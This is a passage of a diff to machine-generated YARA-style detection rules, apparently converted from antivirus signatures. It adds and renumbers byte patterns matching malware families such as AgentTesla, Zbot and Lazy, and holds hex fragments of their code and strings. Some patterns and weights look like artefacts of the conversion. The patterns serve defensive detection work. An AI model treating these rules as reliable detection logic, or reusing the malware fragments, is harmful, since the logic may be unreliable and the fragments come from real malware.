& 1)*-11959+(#a_72_5 & 1)*25697+(#a_73_6 & 1)*28021+(#a_74_7 & 1)*27497+(#a_01_8 & 1)*30720+(#a_01_9 & 1)*7424) >=7 } -rule _InfrastructureShared_18208{ +rule _InfrastructureShared_19375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -219930,7 +234260,7 @@ rule _InfrastructureShared_18208{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27745+(#a_01_2 & 1)*25964+(#a_75_3 & 1)*28271+(#a_5c_4 & 1)*29801+(#a_69_5 & 1)*23592+(#a_72_6 & 1)*9473+(#a_00_7 & 1)*108+(#a_00_9 & 1)*112) >=7 } -rule _InfrastructureShared_18209{ +rule _InfrastructureShared_19376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -219945,7 +234275,7 @@ rule _InfrastructureShared_18209{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*31092+(#a_69_2 & 1)*23592+(#a_72_3 & 1)*9473+(#a_00_4 & 1)*108+(#a_00_6 & 1)*112) >=8 } -rule _InfrastructureShared_18210{ +rule _InfrastructureShared_19377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -219962,7 +234292,7 @@ rule _InfrastructureShared_18210{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_00_3 & 1)*103+(#a_00_4 & 1)*110+(#a_01_5 & 1)*24424+(#a_44_6 & 1)*27753+(#a_63_7 & 1)*24321+(#a_69_8 & 1)*385) >=9 } -rule _InfrastructureShared_18211{ +rule _InfrastructureShared_19378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -219980,7 +234310,7 @@ rule _InfrastructureShared_18211{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*29537+(#a_74_2 & 1)*20324+(#a_5f_4 & 1)*1536+(#a_00_5 & 1)*29300+(#a_47_6 & 1)*13168+(#a_46_7 & 1)*30035+(#a_63_8 & 1)*24948+(#a_67_9 & 1)*12108) >=12 } -rule _InfrastructureShared_18212{ +rule _InfrastructureShared_19379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -219994,7 +234324,7 @@ rule _InfrastructureShared_18212{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*18035+(#a_61_2 & 1)*20993+(#a_61_3 & 1)*13357+(#a_00_7 & 1)*400) >=12 } -rule _InfrastructureShared_18213{ +rule _InfrastructureShared_19380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -220005,7 +234335,7 @@ rule _InfrastructureShared_18213{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=16 } -rule _InfrastructureShared_18214{ +rule _InfrastructureShared_19381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0c 00 21 " @@ -220026,7 +234356,7 @@ rule _InfrastructureShared_18214{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*5+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_56_11 & 1)*0) >=19 } -rule _InfrastructureShared_18215{ +rule _InfrastructureShared_19382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 15 00 04 00 21 " @@ -220039,7 +234369,7 @@ rule _InfrastructureShared_18215{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-17269+(#a_90_2 & 1)*21645+(#a_f3_3 & 1)*-5695) >=21 } -rule _InfrastructureShared_18216{ +rule _InfrastructureShared_19383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,33 00 28 00 06 00 21 " @@ -220054,7 +234384,7 @@ rule _InfrastructureShared_18216{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*11520+(#a_73_2 & 1)*28527+(#a_01_3 & 1)*30720+(#a_52_4 & 1)*-25624+(#a_01_5 & 1)*1) >=40 } -rule _InfrastructureShared_18217{ +rule _InfrastructureShared_19384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 15 00 21 " @@ -220081,7 +234411,7 @@ rule _InfrastructureShared_18217{ ((#a_54_0 & 1)*18467+(#a_93_1 & 1)*263+(#a_65_2 & 1)*25964+(#a_01_3 & 1)*-28603+(#a_04_4 & 1)*257+(#a_01_5 & 1)*-28439+(#a_01_6 & 1)*-28595+(#a_90_7 & 1)*-29759+(#a_00_9 & 1)*1+(#a_23_10 & 1)*3+(#a_21_11 & 1)*11885+(#a_66_12 & 1)*27224+(#a_90_13 & 1)*-30362+(#a_45_14 & 1)*26221+(#a_00_16 & 1)*105+(#a_78_17 & 1)*11890+(#a_46_18 & 1)*22066+(#a_00_20 & 1)*100) >=1 } -rule _InfrastructureShared_18218{ +rule _InfrastructureShared_19385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -220092,7 +234422,7 @@ rule _InfrastructureShared_18218{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30207) >=2 } -rule _InfrastructureShared_18219{ +rule _InfrastructureShared_19386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -220104,7 +234434,7 @@ rule _InfrastructureShared_18219{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*27224+(#a_58_2 & 1)*-1) >=2 } -rule _InfrastructureShared_18220{ +rule _InfrastructureShared_19387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -220115,7 +234445,7 @@ rule _InfrastructureShared_18220{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_18221{ +rule _InfrastructureShared_19388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -220126,7 +234456,7 @@ rule _InfrastructureShared_18221{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=4 } -rule _InfrastructureShared_18222{ +rule _InfrastructureShared_19389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -220137,20 +234467,32 @@ rule _InfrastructureShared_18222{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_18223{ +rule _InfrastructureShared_19390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 58 58 42 31 32 33 21 4d 54 42 00 01 00 b1 01 20 01 84 00 00 8d 5e 00 00 01 0d 07 72 58 09 00 70 6f 78 00 00 0a 75 27 00 00 01 13 04 16 13 07 2b 7d 00 16 13 08 2b 65 00 16 13 } //18467 $a_00_1 = {16 13 0a 2b 35 00 11 04 11 07 11 09 58 17 58 17 59 11 08 11 0a 58 17 58 17 59 6f 82 00 00 0a 13 0b 12 0b 28 83 00 00 0a 13 0c 09 08 11 0c 9c 08 17 58 0c 11 0a 17 58 13 0a 00 11 0a 17 fe 04 13 0d 11 0d 2d c0 11 09 17 58 13 09 00 11 } //11017 - $a_04_2 = {13 0e 11 0e 2d a8 00 11 08 17 58 13 08 11 08 17 fe 04 13 0f 11 0f 2d 90 00 11 07 17 58 13 07 11 07 20 00 84 00 00 fe 04 13 10 11 10 3a 71 ff ff ff 01 00 24 81 01 34 62 62 34 38 30 62 64 2d 38 33 34 30 2d 34 32 39 64 2d 39 34 31 65 2d 66 37 63 63 37 33 36 31 39 64 65 39 01 00 25 81 01 43 4d 4e 4e 50 4d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 43 4d 4e 4e 50 4d 2e 44 61 74 54 69 65 63 2e 72 65 73 6f 75 72 63 65 73 00 00 78 57 01 00 05 00 05 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 49 44 54 6f 6f 6c 73 5f 46 6f 72 5f 57 69 6e 58 50 5f 49 64 74 54 6f 6f 6c 5f 32 00 01 00 44 03 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 64 00 65 00 76 00 49 00 64 00 } //5897 - $a_00_3 = {6f 00 6f 00 6c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 34 03 49 6f 44 65 6c 65 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 } //116 + $a_04_2 = {13 0e 11 0e 2d a8 00 11 08 17 58 13 08 11 08 17 fe 04 13 0f 11 0f 2d 90 00 11 07 17 58 13 07 11 07 20 00 84 00 00 fe 04 13 10 11 10 3a 71 ff ff ff 01 00 24 81 01 34 62 62 34 38 30 62 64 2d 38 33 34 30 2d 34 32 39 64 2d 39 34 31 65 2d 66 37 63 63 37 33 36 31 39 64 65 39 01 00 25 81 01 43 4d 4e 4e 50 4d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 43 4d 4e 4e 50 4d 2e 44 61 74 54 69 65 63 2e 72 65 73 6f 75 72 63 65 73 00 00 78 57 01 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 72 6f 67 72 61 6d 3a 4d 53 49 4c 2f 43 6f 72 64 6c 65 73 73 45 78 74 65 6e 73 69 6f 6e 2e 41 21 64 68 61 00 01 00 20 01 48 00 52 00 20 00 4e 00 6f 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 33 00 01 00 } //5897 + $a_00_3 = {61 00 69 00 6c 00 65 00 64 00 2e 00 20 00 28 00 55 00 73 00 65 00 72 00 49 00 44 00 2f 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 69 00 73 00 20 00 6d 00 69 00 73 00 73 00 69 00 6e 00 67 00 29 00 } //328 ailed. (UserID/Password is missing) condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11017+(#a_04_2 & 1)*5897+(#a_00_3 & 1)*116) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11017+(#a_04_2 & 1)*5897+(#a_00_3 & 1)*328) >=4 } -rule _InfrastructureShared_18224{ +rule _InfrastructureShared_19391{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {50 72 6f 67 72 61 6d 3a 4d 53 49 4c 2f 43 6f 72 64 6c 65 73 73 45 78 74 65 6e 73 69 6f 6e 2e 41 21 64 68 61 00 01 00 20 01 48 00 52 00 20 00 4e 00 6f 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 33 00 01 00 48 } //16675 + $a_00_2 = {65 00 64 00 2e 00 20 00 28 00 55 00 73 00 65 00 72 00 49 00 44 00 2f 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 69 00 73 00 20 00 6d 00 69 00 73 00 73 00 69 00 6e 00 67 00 29 00 01 00 40 01 46 00 61 00 69 00 6c 00 65 00 64 00 2e 00 20 00 28 00 4e 00 6f 00 74 00 20 00 65 00 6e 00 6f 00 75 00 67 00 68 00 20 00 } //105 + $a_00_3 = {72 00 6d 00 69 00 73 00 73 00 69 00 6f 00 6e 00 2e 00 29 00 01 00 36 01 46 00 61 00 69 00 6c 00 65 00 64 00 2e 00 20 00 28 00 57 00 72 00 6f 00 6e 00 67 00 20 00 63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 2e 00 29 00 01 00 32 01 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 20 00 74 00 6f } //112 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*112) >=5 + +} +rule _InfrastructureShared_19392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -220163,7 +234505,7 @@ rule _InfrastructureShared_18224{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_2d_3 & 1)*2305+(#a_19_4 & 1)*25955) >=5 } -rule _InfrastructureShared_18225{ +rule _InfrastructureShared_19393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -220176,7 +234518,7 @@ rule _InfrastructureShared_18225{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*9472+(#a_70_2 & 1)*27749+(#a_71_3 & 1)*29801) >=6 } -rule _InfrastructureShared_18226{ +rule _InfrastructureShared_19394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -220192,7 +234534,7 @@ rule _InfrastructureShared_18226{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*99+(#a_00_3 & 1)*117+(#a_47_4 & 1)*2816+(#a_72_5 & 1)*28751+(#a_00_6 & 1)*296+(#a_00_7 & 1)*100) >=6 } -rule _InfrastructureShared_18227{ +rule _InfrastructureShared_19395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -220203,12 +234545,12 @@ rule _InfrastructureShared_18227{ $a_00_5 = {6f 00 6f 00 6c 00 01 00 10 01 43 00 4e 00 3d 00 44 00 63 00 52 00 61 00 74 00 00 00 78 57 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 48 31 35 30 37 32 31 21 4d 54 42 00 01 00 21 01 50 61 72 61 } //114 $a_72_6 = {79 30 00 69 69 69 69 69 69 00 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 1d 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 41 6c 65 72 74 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 4e 65 77 41 63 63 6f 75 6e 74 2e 72 65 73 6f 75 72 63 65 73 01 00 1d 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 4c } //16749 $a_6e_7 = {72 65 73 6f 75 72 63 65 73 01 00 1c 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 4d 61 69 6e 2e 72 65 73 6f 75 72 63 65 73 01 00 1e 01 53 65 63 75 72 65 4c 69 66 65 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 4e 65 77 50 72 6f 66 69 6c 65 2e 72 } //26479 - $a_75_8 = {63 65 73 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0b 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 0d 01 43 6f 6d 70 61 72 65 53 74 72 69 6e 67 00 00 78 57 01 00 11 00 11 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4a 55 21 4d 54 42 00 0a 00 5a 02 11 03 17 } //29541 + $a_75_8 = {63 65 73 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0b 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 0d 01 43 6f 6d 70 61 72 65 53 74 72 69 6e 67 00 00 78 57 01 00 0b 00 0b 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 4b 21 4d 54 42 00 05 00 65 03 4c 8b dc 48 83 ec 48 33 c0 } //29541 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46+(#a_00_3 & 1)*103+(#a_00_5 & 1)*114+(#a_72_6 & 1)*16749+(#a_6e_7 & 1)*26479+(#a_75_8 & 1)*29541) >=6 } -rule _InfrastructureShared_18228{ +rule _InfrastructureShared_19396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -220216,18 +234558,32 @@ rule _InfrastructureShared_18228{ $a_54_0 = {3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 48 31 35 30 37 32 31 21 4d 54 42 00 01 00 21 01 50 61 72 61 6d 41 72 72 61 79 30 00 69 69 69 69 69 69 00 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 1d 01 53 65 63 75 72 65 4c 69 66 65 } //18467 $a_6d_1 = {6c 65 72 74 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 4e 65 77 41 63 63 6f 75 6e 74 2e 72 65 73 6f 75 72 63 65 73 01 00 1d 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 4c 6f 67 69 6e 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 4d 61 69 6e 2e 72 65 73 6f 75 72 } //26158 $a_01_2 = {00 1e 01 53 65 63 75 72 65 4c 69 66 65 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 53 65 63 75 72 65 4c 69 66 65 2e 66 72 6d 4e 65 77 50 72 6f 66 69 6c 65 2e 72 65 73 6f 75 72 63 65 73 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0b 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 0d 01 43 6f 6d 70 61 } //25955 - $a_74_3 = {69 6e 67 00 00 78 57 01 00 11 00 11 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4a 55 21 4d 54 42 00 0a 00 5a 02 11 03 17 6f 90 01 03 0a 20 00 00 00 00 7e 90 01 03 04 39 90 01 04 26 20 00 00 00 } //25970 - $a_01_4 = {04 28 90 01 03 0a 04 6f 90 01 03 0a 11 01 20 e8 03 00 00 73 90 01 03 0a 13 04 38 90 01 04 11 02 6f 90 01 03 0a 13 00 38 90 01 04 11 03 11 04 11 03 28 90 01 03 06 1e 5b 6f 90 00 0a 00 5c 02 11 00 16 73 90 01 03 0a 73 90 01 03 0a 13 02 38 90 01 05 11 02 11 01 6f 90 01 03 0a 38 90 01 04 dd 90 01 04 11 02 39 90 01 04 38 90 01 04 11 02 6f 90 01 03 0a 38 90 01 04 dc 38 90 01 04 11 01 6f 90 01 03 0a 13 03 38 90 01 04 dd 90 01 04 11 01 } //14336 - $a_04_5 = {38 } //-28614 8 - $a_38_6 = {00 05 00 08 } //400 Ԁࠀ - $a_67_7 = {63 64 6d 76 72 05 00 0c 81 01 43 6c 61 73 73 4c 69 62 72 61 72 79 01 00 0f 81 01 41 73 73 65 6d 62 6c 79 52 65 73 6f 6c 76 65 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0e 81 01 43 } //385 - $a_74_8 = {49 6e 73 74 61 6e 63 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 00 00 78 57 01 00 bb 00 b9 00 10 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 52 32 21 4d 54 42 00 01 00 0c 80 01 65 78 70 6c 6f 72 65 72 2e 65 78 65 01 00 0b 80 01 72 64 70 63 6c 69 70 } //25970 - $a_65_9 = {00 0a 80 01 63 74 66 6d 6f 6e 2e 65 78 65 01 00 0b 80 01 77 73 63 6e 74 66 79 2e 65 78 65 01 00 0b 80 01 74 61 73 6b 65 6e 67 2e 65 78 65 01 00 0c 80 01 74 61 73 6b 68 6f 73 74 2e 65 78 65 01 00 07 80 01 64 77 6d 2e 65 78 65 14 00 10 80 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 14 00 0e 80 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 14 00 12 80 01 } //25902 + $a_74_3 = {69 6e 67 00 00 78 57 01 00 0b 00 0b 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 4b 21 4d 54 42 00 05 00 65 03 4c 8b dc 48 83 ec 48 33 c0 c7 44 24 38 90 01 02 00 00 89 44 24 50 4d 8d 4b 10 49 89 43 10 4d 8d 43 } //25970 + $a_43_4 = {49 8d 53 20 49 89 43 20 49 8d 4b e8 48 8d 05 90 01 02 ff ff 48 05 90 01 02 00 00 48 89 44 24 30 49 8d 43 08 0f 28 44 24 30 66 0f 7f 44 24 30 49 89 43 d8 e8 90 01 02 00 00 48 83 c4 48 90 00 05 00 91 01 47 0f b6 04 13 41 c1 e0 18 41 33 c0 8d 0c 00 8b d1 81 f2 b7 1d c1 04 85 c0 0f 49 d1 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 } //18712 + $a_0f_5 = {49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 0c 12 8b c1 35 b7 1d c1 04 85 d2 0f 49 c1 49 ff c2 4d 3b d1 03 00 0e 01 4d 70 6f 61 66 41 4b 4f 44 56 53 6e 61 69 02 00 0c 01 44 44 44 20 2a 2a 2a 2a 20 31 32 33 01 00 0c 01 4d 4d 4d 20 2a 2a 2a 2a 20 35 36 37 00 00 78 57 01 00 11 00 11 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4a 55 21 4d 54 42 00 0a 00 5a 02 11 03 17 6f 90 01 03 0a 20 00 00 00 00 7e 90 01 03 04 39 90 01 04 26 20 00 00 00 00 38 90 01 04 28 90 01 03 } //-31484 + $a_90_6 = {03 0a 11 01 20 e8 03 00 00 73 90 01 03 0a 13 04 38 90 01 04 11 02 6f 90 01 03 0a 13 00 38 90 01 04 11 03 11 04 11 03 28 90 01 03 06 1e 5b 6f 90 00 0a 00 5c 02 11 00 16 73 90 01 03 0a 73 90 01 03 0a 13 02 38 90 01 05 11 02 11 01 6f 90 01 03 0a 38 90 01 04 dd 90 01 04 11 02 39 90 01 04 38 90 01 04 11 02 6f 90 01 03 0a 38 90 01 04 dc } //1034 + $a_04_7 = {11 } //-28616 + $a_01_8 = {03 0a 13 03 38 90 01 04 dd 90 01 04 11 01 3a 90 01 04 38 90 01 04 38 90 00 05 00 08 81 01 49 67 72 63 64 6d 76 72 05 00 0c 81 01 43 6c 61 73 73 4c 69 62 72 61 72 79 01 00 0f 81 01 41 73 73 65 6d 62 6c 79 52 65 73 6f 6c 76 65 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 00 00 78 57 01 00 bb 00 b9 00 10 } //28417 + $a_41_9 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 52 32 21 4d 54 42 00 01 00 0c 80 01 } //8448 condition: - ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*26158+(#a_01_2 & 1)*25955+(#a_74_3 & 1)*25970+(#a_01_4 & 1)*14336+(#a_04_5 & 1)*-28614+(#a_38_6 & 1)*400+(#a_67_7 & 1)*385+(#a_74_8 & 1)*25970+(#a_65_9 & 1)*25902) >=10 + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*26158+(#a_01_2 & 1)*25955+(#a_74_3 & 1)*25970+(#a_43_4 & 1)*18712+(#a_0f_5 & 1)*-31484+(#a_90_6 & 1)*1034+(#a_04_7 & 1)*-28616+(#a_01_8 & 1)*28417+(#a_41_9 & 1)*8448) >=10 } -rule _InfrastructureShared_18229{ +rule _InfrastructureShared_19397{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 4b 21 4d 54 42 00 05 00 65 03 4c 8b dc 48 83 ec 48 33 c0 c7 44 24 38 90 01 02 00 00 89 44 24 50 4d 8d 4b 10 49 89 43 10 4d 8d 43 18 49 89 43 18 49 8d } //21539 + $a_89_1 = {20 49 8d 4b e8 48 8d 05 90 01 02 ff ff 48 05 90 01 02 00 00 48 89 44 24 30 49 8d 43 08 0f 28 44 24 30 66 0f 7f 44 24 30 49 89 43 d8 e8 90 01 02 00 00 48 83 c4 48 90 00 05 00 91 01 47 0f b6 04 13 41 c1 e0 18 41 33 c0 8d } //8275 + $a_d1_2 = {f2 b7 1d c1 04 85 c0 0f 49 d1 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 0c 12 8b c1 35 b7 1d c1 04 85 d2 0f 49 c1 49 ff c2 4d 3b d1 03 00 0e 01 4d 70 6f 61 66 41 4b 4f } //12 + $a_6e_3 = {69 02 00 0c 01 44 44 44 20 2a 2a 2a 2a 20 31 32 33 01 00 0c 01 4d 4d 4d 20 2a 2a 2a 2a 20 35 36 37 00 00 78 57 01 00 11 00 11 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4a 55 21 4d 54 42 00 0a } //22084 + $a_11_4 = {17 6f } //23040 漗 + condition: + ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*8275+(#a_d1_2 & 1)*12+(#a_6e_3 & 1)*22084+(#a_11_4 & 1)*23040) >=11 + +} +rule _InfrastructureShared_19398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -220244,7 +234600,7 @@ rule _InfrastructureShared_18229{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2563+(#a_01_2 & 1)*28418+(#a_61_3 & 1)*25193+(#a_42_4 & 1)*21294+(#a_61_5 & 1)*384+(#a_6f_6 & 1)*25933+(#a_01_7 & 1)*30720) >=17 } -rule _InfrastructureShared_18230{ +rule _InfrastructureShared_19399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffbb 00 ffffffb9 00 10 00 21 " @@ -220269,7 +234625,7 @@ rule _InfrastructureShared_18230{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*20+(#a_80_6 & 1)*20+(#a_80_7 & 1)*20+(#a_80_8 & 1)*20+(#a_80_9 & 1)*20+(#a_80_10 & 1)*20+(#a_80_11 & 1)*20+(#a_80_12 & 1)*20+(#a_80_13 & 1)*20+(#a_58_14 & 1)*0+(#a_45_15 & 1)*-21503) >=185 } -rule _InfrastructureShared_18231{ +rule _InfrastructureShared_19400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -220280,7 +234636,7 @@ rule _InfrastructureShared_18231{ ((#a_54_0 & 1)*18467+(#a_83_2 & 1)*257) >=1 } -rule _InfrastructureShared_18232{ +rule _InfrastructureShared_19401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -220293,7 +234649,7 @@ rule _InfrastructureShared_18232{ ((#a_46_0 & 1)*16675+(#a_13_1 & 1)*14879+(#a_13_2 & 1)*4356+(#a_03_3 & 1)*1) >=1 } -rule _InfrastructureShared_18233{ +rule _InfrastructureShared_19402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -220307,7 +234663,7 @@ rule _InfrastructureShared_18233{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*-28603+(#a_ff_2 & 